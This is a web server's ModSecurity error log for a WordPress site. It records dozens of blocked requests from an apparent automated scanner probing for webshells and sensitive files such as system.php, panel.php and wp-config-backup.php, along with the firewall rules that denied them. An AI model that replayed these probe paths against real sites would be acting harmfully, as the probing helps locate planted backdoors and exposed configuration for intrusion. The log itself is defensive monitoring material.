[Mon May 04 16:16:38.052641 2026] [:error] [pid 3341:tid 3363] [client 193.37.32.171:20773] [client 193.37.32.171] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wp-file-manager-pro/"] [unique_id "afhV5k9o3_LordU0wW72bAAAAJM"]
[Mon May 04 16:16:43.278208 2026] [:error] [pid 61042:tid 61063] [client 193.37.32.170:55813] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/wp-content/uploads/"] [unique_id "afhV60nAPPS1fjubA9QxVAAAANE"]
[Mon May 04 16:16:48.588851 2026] [:error] [pid 61150:tid 61176] [client 193.37.32.139:44083] [client 193.37.32.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/wp-file-manager-pro/fm_backup/"] [unique_id "afhV8O8QXWVLiwIGVpdIrwAAAVc"]
[Mon May 04 16:16:48.784699 2026] [:error] [pid 3341:tid 3344] [client 193.37.32.171:25959] [client 193.37.32.171] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/well-known/"] [unique_id "afhV8E9o3_LordU0wW72cgAAAIA"]
[Mon May 04 16:16:49.045419 2026] [:error] [pid 3341:tid 3352] [client 193.37.32.136:63969] [client 193.37.32.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/well-known/pki-validation/"] [unique_id "afhV8U9o3_LordU0wW72cwAAAIg"]
[Mon May 04 16:16:49.254391 2026] [:error] [pid 61044:tid 61126] [client 193.37.32.155:47611] [client 193.37.32.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/system.php"] [unique_id "afhV8Uw8w2zZZXI6H1tvIgAAABg"]
[Mon May 04 16:16:49.458045 2026] [:error] [pid 61042:tid 61070] [client 193.37.32.132:39023] [client 193.37.32.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/panel.php"] [unique_id "afhV8UnAPPS1fjubA9QxVQAAANg"]
[Mon May 04 16:16:59.686871 2026] [:error] [pid 61043:tid 61085] [client 193.37.32.148:54641] [client 193.37.32.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/login.php"] [unique_id "afhV-58-LwtfURjiAbB2BQAAAEo"]
[Mon May 04 16:16:59.943559 2026] [:error] [pid 61043:tid 61098] [client 193.37.32.173:37475] [client 193.37.32.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/media/system_core.php"] [unique_id "afhV-58-LwtfURjiAbB2BwAAAFc"]
[Mon May 04 16:17:45.255277 2026] [:error] [pid 61043:tid 61088] [client 193.37.32.148:32817] [client 193.37.32.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/js_composer/bak.php"] [unique_id "afhWKZ8-LwtfURjiAbB2PAAAAE0"]
[Mon May 04 16:17:55.633947 2026] [:error] [pid 3341:tid 3360] [client 193.37.32.175:46041] [client 193.37.32.175] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wpforms-lite/assets/css/frontend/modern/system_core.php"] [unique_id "afhWM09o3_LordU0wW72rAAAAJA"]
[Mon May 04 16:17:55.956456 2026] [:error] [pid 3341:tid 3347] [client 193.37.32.162:25295] [client 193.37.32.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/wp-content/plugins/wp-config-backup.php"] [unique_id "afhWM09o3_LordU0wW72rgAAAIM"]
[Mon May 04 16:18:01.375807 2026] [:error] [pid 61044:tid 61102] [client 193.37.32.135:20521] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/cielhpn/"] [unique_id "afhWOUw8w2zZZXI6H1tvTwAAAAA"]
[Mon May 04 16:18:07.176504 2026] [:error] [pid 61044:tid 61103] [client 193.37.32.175:53665] [client 193.37.32.175] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/forminator/library/field-autofill-providers/contracts/wp-login.php"] [unique_id "afhWP0w8w2zZZXI6H1tvVQAAAAE"]
[Mon May 04 16:18:12.556103 2026] [:error] [pid 3341:tid 3366] [client 193.37.32.162:52799] [client 193.37.32.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/enhanced-text-widget/analyst/src/class-wp-logo.php"] [unique_id "afhWRE9o3_LordU0wW72vwAAAJY"]
[Mon May 04 16:18:20.699760 2026] [:error] [pid 61150:tid 61169] [client 209.87.169.75:57115] [client 209.87.169.75] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/wp-includes/css/buttons.css"] [unique_id "afhWTO8QXWVLiwIGVpdJBgAAAVA"]
[Mon May 04 16:18:37.876454 2026] [:error] [pid 61042:tid 61068] [client 193.37.32.173:36545] [client 193.37.32.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-file-manager/lib/themes/options.php"] [unique_id "afhWXUnAPPS1fjubA9QxhAAAANY"]
[Mon May 04 16:18:39.260385 2026] [:error] [pid 61044:tid 61110] [client 193.37.32.175:65403] [client 193.37.32.175] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wp-blog-header.php"] [unique_id "afhWX0w8w2zZZXI6H1tvfAAAAAg"]
[Mon May 04 16:18:39.858248 2026] [:error] [pid 61150:tid 61173] [client 193.37.32.139:31035] [client 193.37.32.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/elementor/assets/lib/pickr/themes/wp-blog-header.php"] [unique_id "afhWX-8QXWVLiwIGVpdJFQAAAVQ"]
[Mon May 04 16:18:50.059150 2026] [:error] [pid 61043:tid 61076] [client 193.37.32.148:30987] [client 193.37.32.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/file-manager-advanced/config.php"] [unique_id "afhWap8-LwtfURjiAbB2egAAAEE"]
[Mon May 04 16:18:50.257471 2026] [:error] [pid 3341:tid 3347] [client 193.37.32.149:49189] [client 193.37.32.149] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/autoload_classmap.php"] [unique_id "afhWak9o3_LordU0wW729AAAAIM"]
[Mon May 04 16:19:00.485396 2026] [:error] [pid 3341:tid 3359] [client 193.37.32.155:39753] [client 193.37.32.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/wp-content/plugins/admin.php"] [unique_id "afhWdE9o3_LordU0wW72-wAAAI8"]
[Mon May 04 16:19:10.757189 2026] [:error] [pid 61042:tid 61056] [client 193.37.32.132:38771] [client 193.37.32.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/js_composer/include/classes/vendors/plugins/panel.php"] [unique_id "afhWfknAPPS1fjubA9QxkwAAAMo"]
[Mon May 04 16:19:15.988010 2026] [:error] [pid 3341:tid 3356] [client 193.37.32.155:28171] [client 193.37.32.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/updraftplus/includes/jstree/themes/config.php"] [unique_id "afhWg09o3_LordU0wW73CwAAAIw"]
[Mon May 04 16:19:16.189131 2026] [:error] [pid 61043:tid 61095] [client 193.37.32.136:50993] [client 193.37.32.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/ssss/src.php"] [unique_id "afhWhJ8-LwtfURjiAbB2pgAAAFQ"]
[Mon May 04 16:19:16.532381 2026] [:error] [pid 61043:tid 61092] [client 193.37.32.162:42199] [client 193.37.32.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/maintenance.php"] [unique_id "afhWhJ8-LwtfURjiAbB2qQAAAFE"]
[Mon May 04 16:19:21.769844 2026] [:error] [pid 3341:tid 3349] [client 193.37.32.158:55563] [client 193.37.32.158] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/contact-form-7/base-theme.php"] [unique_id "afhWiU9o3_LordU0wW73EAAAAIU"]
[Mon May 04 16:19:27.161753 2026] [:error] [pid 61150:tid 61175] [client 193.37.32.155:65221] [client 193.37.32.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/mu-plugins/config.php"] [unique_id "afhWj-8QXWVLiwIGVpdJYgAAAVY"]
[Mon May 04 16:19:27.463742 2026] [:error] [pid 61043:tid 61078] [client 193.37.32.139:49747] [client 193.37.32.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-load.php"] [unique_id "afhWj58-LwtfURjiAbB2sQAAAEM"]
[Mon May 04 16:19:32.751317 2026] [:error] [pid 61042:tid 61053] [client 193.37.32.138:35217] [client 193.37.32.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/newfold-page-cachesocial/about.php"] [unique_id "afhWlEnAPPS1fjubA9QxogAAAMc"]
[Mon May 04 16:19:48.153534 2026] [:error] [pid 61043:tid 61087] [client 193.37.32.159:43459] [client 193.37.32.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/query-pagination-numbers/wp-cron.php"] [unique_id "afhWpJ8-LwtfURjiAbB2wwAAAEw"]
[Mon May 04 16:20:29.001936 2026] [:error] [pid 61150:tid 61176] [client 193.37.32.109:23115] [client 193.37.32.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins_new/wordpress-seo/admin/import/plugins/wp-blog-header.php"] [unique_id "afhWze8QXWVLiwIGVpdJswAAAVc"]
[Mon May 04 16:20:29.233838 2026] [:error] [pid 61043:tid 61086] [client 193.37.32.136:54795] [client 193.37.32.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/cs.php"] [unique_id "afhWzZ8-LwtfURjiAbB3jwAAAEs"]
[Mon May 04 16:20:34.455462 2026] [:error] [pid 61043:tid 61095] [client 193.37.32.134:50345] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/wdf.php"] [unique_id "afhW0p8-LwtfURjiAbB3nwAAAFQ"]
[Mon May 04 16:20:39.677195 2026] [:error] [pid 3341:tid 3347] [client 193.37.32.132:55587] [client 193.37.32.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/query/"] [unique_id "afhW109o3_LordU0wW73kAAAAIM"]
[Mon May 04 16:20:49.881078 2026] [:error] [pid 61043:tid 61085] [client 193.37.32.131:32855] [client 193.37.32.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/plugins/media/v3/js/build/icdxa/"] [unique_id "afhW4Z8-LwtfURjiAbB35wAAAEo"]
[Mon May 04 16:20:50.334340 2026] [:error] [pid 61150:tid 61160] [client 193.37.32.148:62977] [client 193.37.32.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/plugins/v3/data/v1/css/jmy/msl/"] [unique_id "afhW4u8QXWVLiwIGVpdJ_wAAAUc"]
[Mon May 04 16:21:30.797468 2026] [:error] [pid 61044:tid 61106] [client 193.37.32.136:23161] [client 193.37.32.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/sinatra/inc/customizer/controls/color/about.php"] [unique_id "afhXCkw8w2zZZXI6H1twCwAAAAQ"]
[Mon May 04 16:21:41.157299 2026] [:error] [pid 61044:tid 61119] [client 193.37.32.149:25327] [client 193.37.32.149] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/hestia/inc/views/blog/"] [unique_id "afhXFUw8w2zZZXI6H1twLQAAABE"]
[Mon May 04 16:21:41.557522 2026] [:error] [pid 3341:tid 3349] [client 193.37.32.148:58217] [client 193.37.32.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/fortified-child/docs/js/omelv/"] [unique_id "afhXFU9o3_LordU0wW74JQAAAIU"]
[Mon May 04 16:21:41.936783 2026] [:error] [pid 61150:tid 61163] [client 193.37.32.149:23563] [client 193.37.32.149] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/maintenance.php"] [unique_id "afhXFe8QXWVLiwIGVpdKWAAAAUo"]
[Mon May 04 16:21:42.277143 2026] [:error] [pid 61150:tid 61158] [client 193.37.32.138:51119] [client 193.37.32.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentyone/content-index.php"] [unique_id "afhXFu8QXWVLiwIGVpdKWQAAAUU"]
[Mon May 04 16:21:52.642054 2026] [:error] [pid 61043:tid 61089] [client 193.37.32.148:44739] [client 193.37.32.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/assets/fonts/inter/"] [unique_id "afhXIJ8-LwtfURjiAbB4gAAAAE4"]
[Mon May 04 16:22:22.862289 2026] [:error] [pid 3341:tid 3359] [client 193.37.32.135:28057] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/villagio-child/admin.php"] [unique_id "afhXPk9o3_LordU0wW74NgAAAI8"]
[Mon May 04 16:22:23.060084 2026] [:error] [pid 61042:tid 61058] [client 193.37.32.162:39041] [client 193.37.32.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentynineteen/sass/site/primary/"] [unique_id "afhXP0nAPPS1fjubA9QyPQAAAMw"]
[Mon May 04 16:22:38.537824 2026] [:error] [pid 61043:tid 61085] [client 193.37.32.136:37067] [client 193.37.32.136] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/mesmerize/page-templates/"] [unique_id "afhXTp8-LwtfURjiAbB4twAAAEo"]
[Mon May 04 16:22:49.786857 2026] [:error] [pid 61043:tid 61087] [client 193.37.32.134:26379] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/Divi/includes/builder/post/taxonomy/"] [unique_id "afhXWZ8-LwtfURjiAbB4yQAAAEw"]
[Mon May 04 16:22:50.170727 2026] [:error] [pid 61043:tid 61099] [client 193.37.32.106:54147] [client 193.37.32.106] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/system.php"] [unique_id "afhXWp8-LwtfURjiAbB4ywAAAFg"]
[Mon May 04 16:22:50.761935 2026] [:error] [pid 61150:tid 61167] [client 193.37.32.135:43989] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/module.php"] [unique_id "afhXWu8QXWVLiwIGVpdKhQAAAU4"]
[Mon May 04 16:23:01.490032 2026] [:error] [pid 61150:tid 61157] [client 193.37.32.148:26111] [client 193.37.32.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/flatsome/inc/"] [unique_id "afhXZe8QXWVLiwIGVpdKkAAAAUQ"]
[Mon May 04 16:23:01.834090 2026] [:error] [pid 3341:tid 3364] [client 193.37.32.134:65353] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/config.php"] [unique_id "afhXZU9o3_LordU0wW74TgAAAJQ"]
[Mon May 04 16:23:12.153026 2026] [:error] [pid 61043:tid 61091] [client 193.37.32.149:61241] [client 193.37.32.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sitemaps/config.php"] [unique_id "afhXcJ8-LwtfURjiAbB4-QAAAFA"]
[Mon May 04 16:23:27.456133 2026] [:error] [pid 61044:tid 61125] [client 193.37.32.159:38115] [client 193.37.32.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/class-wp-image.php"] [unique_id "afhXf0w8w2zZZXI6H1twXgAAABc"]
